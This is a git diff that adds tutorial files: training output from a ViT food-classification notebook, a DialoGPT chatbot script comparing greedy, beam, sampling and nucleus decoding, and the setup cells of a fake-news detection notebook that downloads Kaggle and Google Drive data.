"
+            ],
+            "text/html": [
+              "\n",
+              "    \n",
+              "      \n",
+              "      
\n",
+              "      [7104/7104 3:46:15, Epoch 3/3]\n",
+              "    
\n",
+              "  \n",
+              " \n",
+              "      Step \n",
+              "      Training Loss \n",
+              "      Validation Loss \n",
+              "      Accuracy \n",
+              "      F1 \n",
+              "     \n",
+              "   \n",
+              "  \n",
+              "    \n",
+              "      1000 \n",
+              "      1.440300 \n",
+              "      0.582373 \n",
+              "      0.853149 \n",
+              "      0.852764 \n",
+              "     \n",
+              "    \n",
+              "      2000 \n",
+              "      0.703100 \n",
+              "      0.453642 \n",
+              "      0.878297 \n",
+              "      0.878230 \n",
+              "     \n",
+              "    \n",
+              "      3000 \n",
+              "      0.434700 \n",
+              "      0.409464 \n",
+              "      0.886455 \n",
+              "      0.886492 \n",
+              "     \n",
+              "    \n",
+              "      4000 \n",
+              "      0.310100 \n",
+              "      0.394801 \n",
+              "      0.889188 \n",
+              "      0.888990 \n",
+              "     \n",
+              "    \n",
+              "      5000 \n",
+              "      0.245100 \n",
+              "      0.383308 \n",
+              "      0.895168 \n",
+              "      0.895035 \n",
+              "     \n",
+              "    \n",
+              "      6000 \n",
+              "      0.115700 \n",
+              "      0.379927 \n",
+              "      0.896515 \n",
+              "      0.896743 \n",
+              "     \n",
+              "    \n",
+              "      7000 \n",
+              "      0.108100 \n",
+              "      0.376985 \n",
+              "      0.898059 \n",
+              "      0.898311 \n",
+              "     \n",
+              "   \n",
+              "
"
+            ]
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "stream",
+          "name": "stderr",
+          "text": [
+            "***** Running Evaluation *****\n",
+            "  Num examples = 25250\n",
+            "  Batch size = 8\n",
+            "Saving model checkpoint to ./vit-base-food/checkpoint-1000\n",
+            "Configuration saved in ./vit-base-food/checkpoint-1000/config.json\n",
+            "Model weights saved in ./vit-base-food/checkpoint-1000/pytorch_model.bin\n",
+            "Image processor saved in ./vit-base-food/checkpoint-1000/preprocessor_config.json\n",
+            "***** Running Evaluation *****\n",
+            "  Num examples = 25250\n",
+            "  Batch size = 8\n",
+            "Saving model checkpoint to ./vit-base-food/checkpoint-2000\n",
+            "Configuration saved in ./vit-base-food/checkpoint-2000/config.json\n",
+            "Model weights saved in ./vit-base-food/checkpoint-2000/pytorch_model.bin\n",
+            "Image processor saved in ./vit-base-food/checkpoint-2000/preprocessor_config.json\n",
+            "***** Running Evaluation *****\n",
+            "  Num examples = 25250\n",
+            "  Batch size = 8\n",
+            "Saving model checkpoint to ./vit-base-food/checkpoint-3000\n",
+            "Configuration saved in ./vit-base-food/checkpoint-3000/config.json\n",
+            "Model weights saved in ./vit-base-food/checkpoint-3000/pytorch_model.bin\n",
+            "Image processor saved in ./vit-base-food/checkpoint-3000/preprocessor_config.json\n",
+            "Deleting older checkpoint [vit-base-food/checkpoint-1000] due to args.save_total_limit\n",
+            "***** Running Evaluation *****\n",
+            "  Num examples = 25250\n",
+            "  Batch size = 8\n",
+            "Saving model checkpoint to ./vit-base-food/checkpoint-4000\n",
+            "Configuration saved in ./vit-base-food/checkpoint-4000/config.json\n",
+            "Model weights saved in ./vit-base-food/checkpoint-4000/pytorch_model.bin\n",
+            "Image processor saved in ./vit-base-food/checkpoint-4000/preprocessor_config.json\n",
+            "Deleting older checkpoint [vit-base-food/checkpoint-2000] due to args.save_total_limit\n",
+            "***** Running Evaluation *****\n",
+            "  Num examples = 25250\n",
+            "  Batch size = 8\n",
+            "Saving model checkpoint to ./vit-base-food/checkpoint-5000\n",
+            "Configuration saved in ./vit-base-food/checkpoint-5000/config.json\n",
+            "Model weights saved in ./vit-base-food/checkpoint-5000/pytorch_model.bin\n",
+            "Image processor saved in ./vit-base-food/checkpoint-5000/preprocessor_config.json\n",
+            "Deleting older checkpoint [vit-base-food/checkpoint-3000] due to args.save_total_limit\n",
+            "***** Running Evaluation *****\n",
+            "  Num examples = 25250\n",
+            "  Batch size = 8\n",
+            "Saving model checkpoint to ./vit-base-food/checkpoint-6000\n",
+            "Configuration saved in ./vit-base-food/checkpoint-6000/config.json\n",
+            "Model weights saved in ./vit-base-food/checkpoint-6000/pytorch_model.bin\n",
+            "Image processor saved in ./vit-base-food/checkpoint-6000/preprocessor_config.json\n",
+            "Deleting older checkpoint [vit-base-food/checkpoint-4000] due to args.save_total_limit\n",
+            "***** Running Evaluation *****\n",
+            "  Num examples = 25250\n",
+            "  Batch size = 8\n",
+            "Saving model checkpoint to ./vit-base-food/checkpoint-7000\n",
+            "Configuration saved in ./vit-base-food/checkpoint-7000/config.json\n",
+            "Model weights saved in ./vit-base-food/checkpoint-7000/pytorch_model.bin\n",
+            "Image processor saved in ./vit-base-food/checkpoint-7000/preprocessor_config.json\n",
+            "Deleting older checkpoint [vit-base-food/checkpoint-5000] due to args.save_total_limit\n",
+            "\n",
+            "\n",
+            "Training completed. Do not forget to share your model on huggingface.co/models =)\n",
+            "\n",
+            "\n",
+            "Loading best model from ./vit-base-food/checkpoint-7000 (score: 0.37698468565940857).\n"
+          ]
+        },
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "TrainOutput(global_step=7104, training_loss=0.47385838654664186, metrics={'train_runtime': 13577.408, 'train_samples_per_second': 16.737, 'train_steps_per_second': 0.523, 'total_flos': 1.76256801415296e+19, 'train_loss': 0.47385838654664186, 'epoch': 3.0})"
+            ]
+          },
+          "metadata": {},
+          "execution_count": 19
+        }
+      ],
+      "source": [
+        "# start training\n",
+        "trainer.train()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 20,
+      "metadata": {
+        "id": "akZ0-H5YQSuJ",
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 211
+        },
+        "outputId": "85b9cf1b-3fca-47ed-b4fe-5de2839e8cd5"
+      },
+      "outputs": [
+        {
+          "output_type": "stream",
+          "name": "stderr",
+          "text": [
+            "***** Running Evaluation *****\n",
+            "  Num examples = 25250\n",
+            "  Batch size = 8\n"
+          ]
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              ""
+            ],
+            "text/html": [
+              "\n",
+              "    \n",
+              "      \n",
+              "      
\n",
+              "      [3157/3157 08:06]\n",
+              "    
  
\ No newline at end of file
diff --git a/machine-learning/nlp/chatbot-transformers/dialogpt.py b/machine-learning/nlp/chatbot-transformers/dialogpt.py
new file mode 100644
index 00000000..72c90e0e
--- /dev/null
+++ b/machine-learning/nlp/chatbot-transformers/dialogpt.py
@@ -0,0 +1,169 @@
+# -*- coding: utf-8 -*-
+"""DialoGPT.ipynb
+
+Automatically generated by Colaboratory.
+
+Original file is located at
+    https://colab.research.google.com/drive/1KAg6X8RFHE0KSvFSZ__w7KGZrSqT4cZ3
+"""
+
+# !pip install transformers
+
+from transformers import AutoModelForCausalLM, AutoTokenizer
+import torch
+
+# model_name = "microsoft/DialoGPT-large"
+model_name = "microsoft/DialoGPT-medium"
+# model_name = "microsoft/DialoGPT-small"
+tokenizer = AutoTokenizer.from_pretrained(model_name)
+model = AutoModelForCausalLM.from_pretrained(model_name)
+print("====Greedy search chat====")
+# chatting 5 times with greedy search
+for step in range(5):
+    # take user input
+    text = input(">> You:")
+    # encode the input and add end of string token
+    input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors="pt")
+    # concatenate new user input with chat history (if there is)
+    bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids
+    # generate a bot response
+    chat_history_ids = model.generate(
+        bot_input_ids,
+        max_length=1000,
+        pad_token_id=tokenizer.eos_token_id,
+    )
+    #print the output
+    output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True)
+    print(f"DialoGPT: {output}")
+print("====Beam search chat====")
+# chatting 5 times with beam search
+for step in range(5):
+    # take user input
+    text = input(">> You:")
+    # encode the input and add end of string token
+    input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors="pt")
+    # concatenate new user input with chat history (if there is)
+    bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids
+    # generate a bot response
+    chat_history_ids = model.generate(
+        bot_input_ids,
+        max_length=1000,
+        num_beams=3,
+        early_stopping=True,
+        pad_token_id=tokenizer.eos_token_id
+    )
+    #print the output
+    output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True)
+    print(f"DialoGPT: {output}")
+print("====Sampling chat====")
+# chatting 5 times with sampling
+for step in range(5):
+    # take user input
+    text = input(">> You:")
+    # encode the input and add end of string token
+    input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors="pt")
+    # concatenate new user input with chat history (if there is)
+    bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids
+    # generate a bot response
+    chat_history_ids = model.generate(
+        bot_input_ids,
+        max_length=1000,
+        do_sample=True,
+        top_k=0,
+        pad_token_id=tokenizer.eos_token_id
+    )
+    #print the output
+    output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True)
+    print(f"DialoGPT: {output}")
+print("====Sampling chat with tweaking temperature====")
+# chatting 5 times with sampling & tweaking temperature
+for step in range(5):
+    # take user input
+    text = input(">> You:")
+    # encode the input and add end of string token
+    input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors="pt")
+    # concatenate new user input with chat history (if there is)
+    bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids
+    # generate a bot response
+    chat_history_ids = model.generate(
+        bot_input_ids,
+        max_length=1000,
+        do_sample=True,
+        top_k=0,
+        temperature=0.75,
+        pad_token_id=tokenizer.eos_token_id
+    )
+    #print the output
+    output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True)
+    print(f"DialoGPT: {output}")
+print("====Top-K sampling chat with tweaking temperature====")
+# chatting 5 times with Top K sampling & tweaking temperature
+for step in range(5):
+    # take user input
+    text = input(">> You:")
+    # encode the input and add end of string token
+    input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors="pt")
+    # concatenate new user input with chat history (if there is)
+    bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids
+    # generate a bot response
+    chat_history_ids = model.generate(
+        bot_input_ids,
+        max_length=1000,
+        do_sample=True,
+        top_k=100,
+        temperature=0.75,
+        pad_token_id=tokenizer.eos_token_id
+    )
+    #print the output
+    output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True)
+    print(f"DialoGPT: {output}")
+print("====Nucleus sampling (top-p) chat with tweaking temperature====")
+# chatting 5 times with nucleus sampling & tweaking temperature
+for step in range(5):
+    # take user input
+    text = input(">> You:")
+    # encode the input and add end of string token
+    input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors="pt")
+    # concatenate new user input with chat history (if there is)
+    bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids
+    # generate a bot response
+    chat_history_ids = model.generate(
+        bot_input_ids,
+        max_length=1000,
+        do_sample=True,
+        top_p=0.95,
+        top_k=0,
+        temperature=0.75,
+        pad_token_id=tokenizer.eos_token_id
+    )
+    #print the output
+    output = tokenizer.decode(chat_history_ids[:, bot_input_ids.shape[-1]:][0], skip_special_tokens=True)
+    print(f"DialoGPT: {output}")
+print("====chatting 5 times with nucleus & top-k sampling & tweaking temperature & multiple sentences====")
+# chatting 5 times with nucleus & top-k sampling & tweaking temperature & multiple
+# sentences
+for step in range(5):
+    # take user input
+    text = input(">> You:")
+    # encode the input and add end of string token
+    input_ids = tokenizer.encode(text + tokenizer.eos_token, return_tensors="pt")
+    # concatenate new user input with chat history (if there is)
+    bot_input_ids = torch.cat([chat_history_ids, input_ids], dim=-1) if step > 0 else input_ids
+    # generate a bot response
+    chat_history_ids_list = model.generate(
+        bot_input_ids,
+        max_length=1000,
+        do_sample=True,
+        top_p=0.95,
+        top_k=50,
+        temperature=0.75,
+        num_return_sequences=5,
+        pad_token_id=tokenizer.eos_token_id
+    )
+    #print the outputs
+    for i in range(len(chat_history_ids_list)):
+      output = tokenizer.decode(chat_history_ids_list[i][bot_input_ids.shape[-1]:], skip_special_tokens=True)
+      print(f"DialoGPT {i}: {output}")
+    choice_index = int(input("Choose the response you want for the next input: "))
+    chat_history_ids = torch.unsqueeze(chat_history_ids_list[choice_index], dim=0)
+
diff --git a/machine-learning/nlp/chatbot-transformers/requirements.txt b/machine-learning/nlp/chatbot-transformers/requirements.txt
new file mode 100644
index 00000000..747b7aa9
--- /dev/null
+++ b/machine-learning/nlp/chatbot-transformers/requirements.txt
@@ -0,0 +1 @@
+transformers
\ No newline at end of file
diff --git a/machine-learning/nlp/fake-news-classification/README.md b/machine-learning/nlp/fake-news-classification/README.md
new file mode 100644
index 00000000..f4b62173
--- /dev/null
+++ b/machine-learning/nlp/fake-news-classification/README.md
@@ -0,0 +1,3 @@
+# [Fake News Detection using Transformers in Python](https://www.thepythoncode.com/article/fake-news-classification-in-python)
+To run this:
+- `pip3 install -r requirements.txt`
\ No newline at end of file
diff --git a/machine-learning/nlp/fake-news-classification/fakenews-detection.ipynb b/machine-learning/nlp/fake-news-classification/fakenews-detection.ipynb
new file mode 100644
index 00000000..93d2fd31
--- /dev/null
+++ b/machine-learning/nlp/fake-news-classification/fakenews-detection.ipynb
@@ -0,0 +1,2826 @@
+{
+  "cells": [
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "VVhpmlBLDSmV"
+      },
+      "outputs": [],
+      "source": [
+        "!pip install -q kaggle"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "8u5TrzZQDUNh"
+      },
+      "outputs": [],
+      "source": [
+        "from google.colab import files"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 93,
+          "resources": {
+            "http://localhost:8080/nbextensions/google.colab/files.js": {
+              "data": "Ly8gQ29weXJpZ2h0IDIwMTcgR29vZ2xlIExMQwovLwovLyBMaWNlbnNlZCB1bmRlciB0aGUgQXBhY2hlIExpY2Vuc2UsIFZlcnNpb24gMi4wICh0aGUgIkxpY2Vuc2UiKTsKLy8geW91IG1heSBub3QgdXNlIHRoaXMgZmlsZSBleGNlcHQgaW4gY29tcGxpYW5jZSB3aXRoIHRoZSBMaWNlbnNlLgovLyBZb3UgbWF5IG9idGFpbiBhIGNvcHkgb2YgdGhlIExpY2Vuc2UgYXQKLy8KLy8gICAgICBodHRwOi8vd3d3LmFwYWNoZS5vcmcvbGljZW5zZXMvTElDRU5TRS0yLjAKLy8KLy8gVW5sZXNzIHJlcXVpcmVkIGJ5IGFwcGxpY2FibGUgbGF3IG9yIGFncmVlZCB0byBpbiB3cml0aW5nLCBzb2Z0d2FyZQovLyBkaXN0cmlidXRlZCB1bmRlciB0aGUgTGljZW5zZSBpcyBkaXN0cmlidXRlZCBvbiBhbiAiQVMgSVMiIEJBU0lTLAovLyBXSVRIT1VUIFdBUlJBTlRJRVMgT1IgQ09ORElUSU9OUyBPRiBBTlkgS0lORCwgZWl0aGVyIGV4cHJlc3Mgb3IgaW1wbGllZC4KLy8gU2VlIHRoZSBMaWNlbnNlIGZvciB0aGUgc3BlY2lmaWMgbGFuZ3VhZ2UgZ292ZXJuaW5nIHBlcm1pc3Npb25zIGFuZAovLyBsaW1pdGF0aW9ucyB1bmRlciB0aGUgTGljZW5zZS4KCi8qKgogKiBAZmlsZW92ZXJ2aWV3IEhlbHBlcnMgZm9yIGdvb2dsZS5jb2xhYiBQeXRob24gbW9kdWxlLgogKi8KKGZ1bmN0aW9uKHNjb3BlKSB7CmZ1bmN0aW9uIHNwYW4odGV4dCwgc3R5bGVBdHRyaWJ1dGVzID0ge30pIHsKICBjb25zdCBlbGVtZW50ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc3BhbicpOwogIGVsZW1lbnQudGV4dENvbnRlbnQgPSB0ZXh0OwogIGZvciAoY29uc3Qga2V5IG9mIE9iamVjdC5rZXlzKHN0eWxlQXR0cmlidXRlcykpIHsKICAgIGVsZW1lbnQuc3R5bGVba2V5XSA9IHN0eWxlQXR0cmlidXRlc1trZXldOwogIH0KICByZXR1cm4gZWxlbWVudDsKfQoKLy8gTWF4IG51bWJlciBvZiBieXRlcyB3aGljaCB3aWxsIGJlIHVwbG9hZGVkIGF0IGEgdGltZS4KY29uc3QgTUFYX1BBWUxPQURfU0laRSA9IDEwMCAqIDEwMjQ7CgpmdW5jdGlvbiBfdXBsb2FkRmlsZXMoaW5wdXRJZCwgb3V0cHV0SWQpIHsKICBjb25zdCBzdGVwcyA9IHVwbG9hZEZpbGVzU3RlcChpbnB1dElkLCBvdXRwdXRJZCk7CiAgY29uc3Qgb3V0cHV0RWxlbWVudCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKG91dHB1dElkKTsKICAvLyBDYWNoZSBzdGVwcyBvbiB0aGUgb3V0cHV0RWxlbWVudCB0byBtYWtlIGl0IGF2YWlsYWJsZSBmb3IgdGhlIG5leHQgY2FsbAogIC8vIHRvIHVwbG9hZEZpbGVzQ29udGludWUgZnJvbSBQeXRob24uCiAgb3V0cHV0RWxlbWVudC5zdGVwcyA9IHN0ZXBzOwoKICByZXR1cm4gX3VwbG9hZEZpbGVzQ29udGludWUob3V0cHV0SWQpOwp9CgovLyBUaGlzIGlzIHJvdWdobHkgYW4gYXN5bmMgZ2VuZXJhdG9yIChub3Qgc3VwcG9ydGVkIGluIHRoZSBicm93c2VyIHlldCksCi8vIHdoZXJlIHRoZXJlIGFyZSBtdWx0aXBsZSBhc3luY2hyb25vdXMgc3RlcHMgYW5kIHRoZSBQeXRob24gc2lkZSBpcyBnb2luZwovLyB0byBwb2xsIGZvciBjb21wbGV0aW9uIG9mIGVhY2ggc3RlcC4KLy8gVGhpcyB1c2VzIGEgUHJvbWlzZSB0byBibG9jayB0aGUgcHl0aG9uIHNpZGUgb24gY29tcGxldGlvbiBvZiBlYWNoIHN0ZXAsCi8vIHRoZW4gcGFzc2VzIHRoZSByZXN1bHQgb2YgdGhlIHByZXZpb3VzIHN0ZXAgYXMgdGhlIGlucHV0IHRvIHRoZSBuZXh0IHN0ZXAuCmZ1bmN0aW9uIF91cGxvYWRGaWxlc0NvbnRpbnVlKG91dHB1dElkKSB7CiAgY29uc3Qgb3V0cHV0RWxlbWVudCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKG91dHB1dElkKTsKICBjb25zdCBzdGVwcyA9IG91dHB1dEVsZW1lbnQuc3RlcHM7CgogIGNvbnN0IG5leHQgPSBzdGVwcy5uZXh0KG91dHB1dEVsZW1lbnQubGFzdFByb21pc2VWYWx1ZSk7CiAgcmV0dXJuIFByb21pc2UucmVzb2x2ZShuZXh0LnZhbHVlLnByb21pc2UpLnRoZW4oKHZhbHVlKSA9PiB7CiAgICAvLyBDYWNoZSB0aGUgbGFzdCBwcm9taXNlIHZhbHVlIHRvIG1ha2UgaXQgYXZhaWxhYmxlIHRvIHRoZSBuZXh0CiAgICAvLyBzdGVwIG9mIHRoZSBnZW5lcmF0b3IuCiAgICBvdXRwdXRFbGVtZW50Lmxhc3RQcm9taXNlVmFsdWUgPSB2YWx1ZTsKICAgIHJldHVybiBuZXh0LnZhbHVlLnJlc3BvbnNlOwogIH0pOwp9CgovKioKICogR2VuZXJhdG9yIGZ1bmN0aW9uIHdoaWNoIGlzIGNhbGxlZCBiZXR3ZWVuIGVhY2ggYXN5bmMgc3RlcCBvZiB0aGUgdXBsb2FkCiAqIHByb2Nlc3MuCiAqIEBwYXJhbSB7c3RyaW5nfSBpbnB1dElkIEVsZW1lbnQgSUQgb2YgdGhlIGlucHV0IGZpbGUgcGlja2VyIGVsZW1lbnQuCiAqIEBwYXJhbSB7c3RyaW5nfSBvdXRwdXRJZCBFbGVtZW50IElEIG9mIHRoZSBvdXRwdXQgZGlzcGxheS4KICogQHJldHVybiB7IUl0ZXJhYmxlPCFPYmplY3Q+fSBJdGVyYWJsZSBvZiBuZXh0IHN0ZXBzLgogKi8KZnVuY3Rpb24qIHVwbG9hZEZpbGVzU3RlcChpbnB1dElkLCBvdXRwdXRJZCkgewogIGNvbnN0IGlucHV0RWxlbWVudCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlucHV0SWQpOwogIGlucHV0RWxlbWVudC5kaXNhYmxlZCA9IGZhbHNlOwoKICBjb25zdCBvdXRwdXRFbGVtZW50ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQob3V0cHV0SWQpOwogIG91dHB1dEVsZW1lbnQuaW5uZXJIVE1MID0gJyc7CgogIGNvbnN0IHBpY2tlZFByb21pc2UgPSBuZXcgUHJvbWlzZSgocmVzb2x2ZSkgPT4gewogICAgaW5wdXRFbGVtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NoYW5nZScsIChlKSA9PiB7CiAgICAgIHJlc29sdmUoZS50YXJnZXQuZmlsZXMpOwogICAgfSk7CiAgfSk7CgogIGNvbnN0IGNhbmNlbCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2J1dHRvbicpOwogIGlucHV0RWxlbWVudC5wYXJlbnRFbGVtZW50LmFwcGVuZENoaWxkKGNhbmNlbCk7CiAgY2FuY2VsLnRleHRDb250ZW50ID0gJ0NhbmNlbCB1cGxvYWQnOwogIGNvbnN0IGNhbmNlbFByb21pc2UgPSBuZXcgUHJvbWlzZSgocmVzb2x2ZSkgPT4gewogICAgY2FuY2VsLm9uY2xpY2sgPSAoKSA9PiB7CiAgICAgIHJlc29sdmUobnVsbCk7CiAgICB9OwogIH0pOwoKICAvLyBXYWl0IGZvciB0aGUgdXNlciB0byBwaWNrIHRoZSBmaWxlcy4KICBjb25zdCBmaWxlcyA9IHlpZWxkIHsKICAgIHByb21pc2U6IFByb21pc2UucmFjZShbcGlja2VkUHJvbWlzZSwgY2FuY2VsUHJvbWlzZV0pLAogICAgcmVzcG9uc2U6IHsKICAgICAgYWN0aW9uOiAnc3RhcnRpbmcnLAogICAgfQogIH07CgogIGNhbmNlbC5yZW1vdmUoKTsKCiAgLy8gRGlzYWJsZSB0aGUgaW5wdXQgZWxlbWVudCBzaW5jZSBmdXJ0aGVyIHBpY2tzIGFyZSBub3QgYWxsb3dlZC4KICBpbnB1dEVsZW1lbnQuZGlzYWJsZWQgPSB0cnVlOwoKICBpZiAoIWZpbGVzKSB7CiAgICByZXR1cm4gewogICAgICByZXNwb25zZTogewogICAgICAgIGFjdGlvbjogJ2NvbXBsZXRlJywKICAgICAgfQogICAgfTsKICB9CgogIGZvciAoY29uc3QgZmlsZSBvZiBmaWxlcykgewogICAgY29uc3QgbGkgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdsaScpOwogICAgbGkuYXBwZW5kKHNwYW4oZmlsZS5uYW1lLCB7Zm9udFdlaWdodDogJ2JvbGQnfSkpOwogICAgbGkuYXBwZW5kKHNwYW4oCiAgICAgICAgYCgke2ZpbGUudHlwZSB8fCAnbi9hJ30pIC0gJHtmaWxlLnNpemV9IGJ5dGVzLCBgICsKICAgICAgICBgbGFzdCBtb2RpZmllZDogJHsKICAgICAgICAgICAgZmlsZS5sYXN0TW9kaWZpZWREYXRlID8gZmlsZS5sYXN0TW9kaWZpZWREYXRlLnRvTG9jYWxlRGF0ZVN0cmluZygpIDoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ24vYSd9IC0gYCkpOwogICAgY29uc3QgcGVyY2VudCA9IHNwYW4oJzAlIGRvbmUnKTsKICAgIGxpLmFwcGVuZENoaWxkKHBlcmNlbnQpOwoKICAgIG91dHB1dEVsZW1lbnQuYXBwZW5kQ2hpbGQobGkpOwoKICAgIGNvbnN0IGZpbGVEYXRhUHJvbWlzZSA9IG5ldyBQcm9taXNlKChyZXNvbHZlKSA9PiB7CiAgICAgIGNvbnN0IHJlYWRlciA9IG5ldyBGaWxlUmVhZGVyKCk7CiAgICAgIHJlYWRlci5vbmxvYWQgPSAoZSkgPT4gewogICAgICAgIHJlc29sdmUoZS50YXJnZXQucmVzdWx0KTsKICAgICAgfTsKICAgICAgcmVhZGVyLnJlYWRBc0FycmF5QnVmZmVyKGZpbGUpOwogICAgfSk7CiAgICAvLyBXYWl0IGZvciB0aGUgZGF0YSB0byBiZSByZWFkeS4KICAgIGxldCBmaWxlRGF0YSA9IHlpZWxkIHsKICAgICAgcHJvbWlzZTogZmlsZURhdGFQcm9taXNlLAogICAgICByZXNwb25zZTogewogICAgICAgIGFjdGlvbjogJ2NvbnRpbnVlJywKICAgICAgfQogICAgfTsKCiAgICAvLyBVc2UgYSBjaHVua2VkIHNlbmRpbmcgdG8gYXZvaWQgbWVzc2FnZSBzaXplIGxpbWl0cy4gU2VlIGIvNjIxMTU2NjAuCiAgICBsZXQgcG9zaXRpb24gPSAwOwogICAgZG8gewogICAgICBjb25zdCBsZW5ndGggPSBNYXRoLm1pbihmaWxlRGF0YS5ieXRlTGVuZ3RoIC0gcG9zaXRpb24sIE1BWF9QQVlMT0FEX1NJWkUpOwogICAgICBjb25zdCBjaHVuayA9IG5ldyBVaW50OEFycmF5KGZpbGVEYXRhLCBwb3NpdGlvbiwgbGVuZ3RoKTsKICAgICAgcG9zaXRpb24gKz0gbGVuZ3RoOwoKICAgICAgY29uc3QgYmFzZTY0ID0gYnRvYShTdHJpbmcuZnJvbUNoYXJDb2RlLmFwcGx5KG51bGwsIGNodW5rKSk7CiAgICAgIHlpZWxkIHsKICAgICAgICByZXNwb25zZTogewogICAgICAgICAgYWN0aW9uOiAnYXBwZW5kJywKICAgICAgICAgIGZpbGU6IGZpbGUubmFtZSwKICAgICAgICAgIGRhdGE6IGJhc2U2NCwKICAgICAgICB9LAogICAgICB9OwoKICAgICAgbGV0IHBlcmNlbnREb25lID0gZmlsZURhdGEuYnl0ZUxlbmd0aCA9PT0gMCA/CiAgICAgICAgICAxMDAgOgogICAgICAgICAgTWF0aC5yb3VuZCgocG9zaXRpb24gLyBmaWxlRGF0YS5ieXRlTGVuZ3RoKSAqIDEwMCk7CiAgICAgIHBlcmNlbnQudGV4dENvbnRlbnQgPSBgJHtwZXJjZW50RG9uZX0lIGRvbmVgOwoKICAgIH0gd2hpbGUgKHBvc2l0aW9uIDwgZmlsZURhdGEuYnl0ZUxlbmd0aCk7CiAgfQoKICAvLyBBbGwgZG9uZS4KICB5aWVsZCB7CiAgICByZXNwb25zZTogewogICAgICBhY3Rpb246ICdjb21wbGV0ZScsCiAgICB9CiAgfTsKfQoKc2NvcGUuZ29vZ2xlID0gc2NvcGUuZ29vZ2xlIHx8IHt9OwpzY29wZS5nb29nbGUuY29sYWIgPSBzY29wZS5nb29nbGUuY29sYWIgfHwge307CnNjb3BlLmdvb2dsZS5jb2xhYi5fZmlsZXMgPSB7CiAgX3VwbG9hZEZpbGVzLAogIF91cGxvYWRGaWxlc0NvbnRpbnVlLAp9Owp9KShzZWxmKTsK",
+              "headers": [
+                [
+                  "content-type",
+                  "application/javascript"
+                ]
+              ],
+              "ok": true,
+              "status": 200,
+              "status_text": ""
+            }
+          }
+        },
+        "id": "1ChHVpiBDvRC",
+        "outputId": "6ff918cb-ad27-4796-8618-179e1cfae152"
+      },
+      "outputs": [],
+      "source": [
+        "files.upload()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "LKmGxy7uD3mH"
+      },
+      "outputs": [],
+      "source": [
+        "!rm -rf ~/.kaggle\n",
+        "!mkdir ~/.kaggle\n",
+        "!cp kaggle.json ~/.kaggle/"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "K31gGW95D-ds"
+      },
+      "outputs": [],
+      "source": [
+        "!chmod 600 ~/.kaggle/kaggle.json"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "7tc8j0cpCs6V",
+        "outputId": "ea85a064-6d90-44e5-f973-8cc3cbd21d0b"
+      },
+      "outputs": [],
+      "source": [
+        "!kaggle competitions download -c fake-news"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "5Z1vHUnzEB1m",
+        "outputId": "6a9e8e13-9769-45d2-cb44-6e85c6a34cf1"
+      },
+      "outputs": [],
+      "source": [
+        "!unzip test.csv.zip\n",
+        "!unzip train.csv.zip"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "Ag93PTMXYHwe",
+        "outputId": "4ad0d65e-ba8e-4606-9f52-c6d25f6a1584"
+      },
+      "outputs": [],
+      "source": [
+        "!pip install gdown"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "hLtPC6MDYOFR",
+        "outputId": "26a02548-f427-4fc2-f57f-06abb580b12f"
+      },
+      "outputs": [],
+      "source": [
+        "# download from Google Drive\n",
+        "!gdown \"https://drive.google.com/uc?id=178f_VkNxccNidap-5-uffXUW475pAuPy&confirm=t\""
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "54s0iKSTZIRW",
